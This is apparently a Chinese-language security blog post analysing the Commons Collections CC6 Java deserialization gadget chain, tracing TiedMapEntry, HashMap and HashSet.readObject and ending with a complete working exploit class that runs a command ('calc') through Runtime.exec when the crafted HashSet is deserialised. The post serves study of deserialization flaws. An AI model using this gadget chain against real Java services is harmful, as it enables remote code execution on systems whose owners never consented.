CC6链

本文最后更新于:2024年10月9日 晚上

CC6链:解决高版本Java8中CC1失效的问题

在Java 8u71以后,sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了。这里提供一个高版本的sun包源码下载地址,改变后发现原来的CC1就无法弹计算器了。

在项目源码中可以看到,仍然使用LazyMap作为入口,只不过上层调用变了

项目使用的类是org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue⽅法中调⽤了this.map.get,我们注意这里的map就需要是我们构造的LazyMap。那么如何构造TiedMapEntry实例呢,可以看它的构造函数,直接将我们的LazyMap和随便一个key传入即可构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}
/**
* Constructs a new entry with the given Map and key.
*
* @param map the map
* @param key the key
*/
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

然后在多个函数中调用了getValue方法,但是ysoserial选择的是hashCode()方法,注释也说明了这个方法是MapEntry#hashCode接口的实现,用于返回value的hash值。

1
2
3
4
5
6
7
8
9
10
11
12
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

然后使用了HashMaphash方法去触发,可以发现是key.hashCode(),说明我们的payload应该作为key,我们目前构造了TiedMapEntry实例,那么我们下一步就是将其作为key去新构造一个hashMap实例。然后put方法对hash进行了调用。

1
2
3
4
5
6
7
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

最后顶层是HashSetreadObject作为入口,反序列化漏洞大都存在于某个类的readObject中,分析到目前我有一个感受就是,更像是两边向中间衍生,然后刚好链接在一起就出现了漏洞。

1
2
3
4
5
6
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);//trigger!
}

分析到这里可以写出Exp的内容了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] fakeFormer = new Transformer[]{new ConstantTransformer(1)};
// 第一层
Transformer[] tfs = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(fakeFormer);
Map lazyMap = LazyMap.decorate(new HashMap<>(),transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
Map tiedMap = new HashMap<>();
tiedMap.put(tiedMapEntry,"Exp");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMap);
lazyMap.remove("key");
// 反射修改变量
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, tfs);

// 测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

这其中有个非常关键的代码lazyMap.remove("key");, 为什么要移除,看到LazyMap.get()的代码:

存在一个是否含有键值的判断,而我们的key在构造TiedMapEntry的时候就被固定下来了,除非你用反射去修改,但是没有必要,直接在lazyMap中把key的键值对给去除就行

最后捋一捋,

LazyMap作为CC6的一个转折点,往下已经分析过多次。

往上走,使用LazyMap构造了一个TiedMapEntry实例,目的是为了使用LazyMap.get()

再用TiedMapEntry作为了一个新的HashMapkey值,目的是为了触发key.hashCode()

最后用HashSet包裹,目的是为了使用其readObject方法来触发map.put(),从而进入hash(key)->key.hashCode()

直接拉取代码测试


CC6链
https://3xsh0re.github.io/2024/08/19/CC6链分析/
作者
3xsh0re
发布于
2024年8月19日
许可协议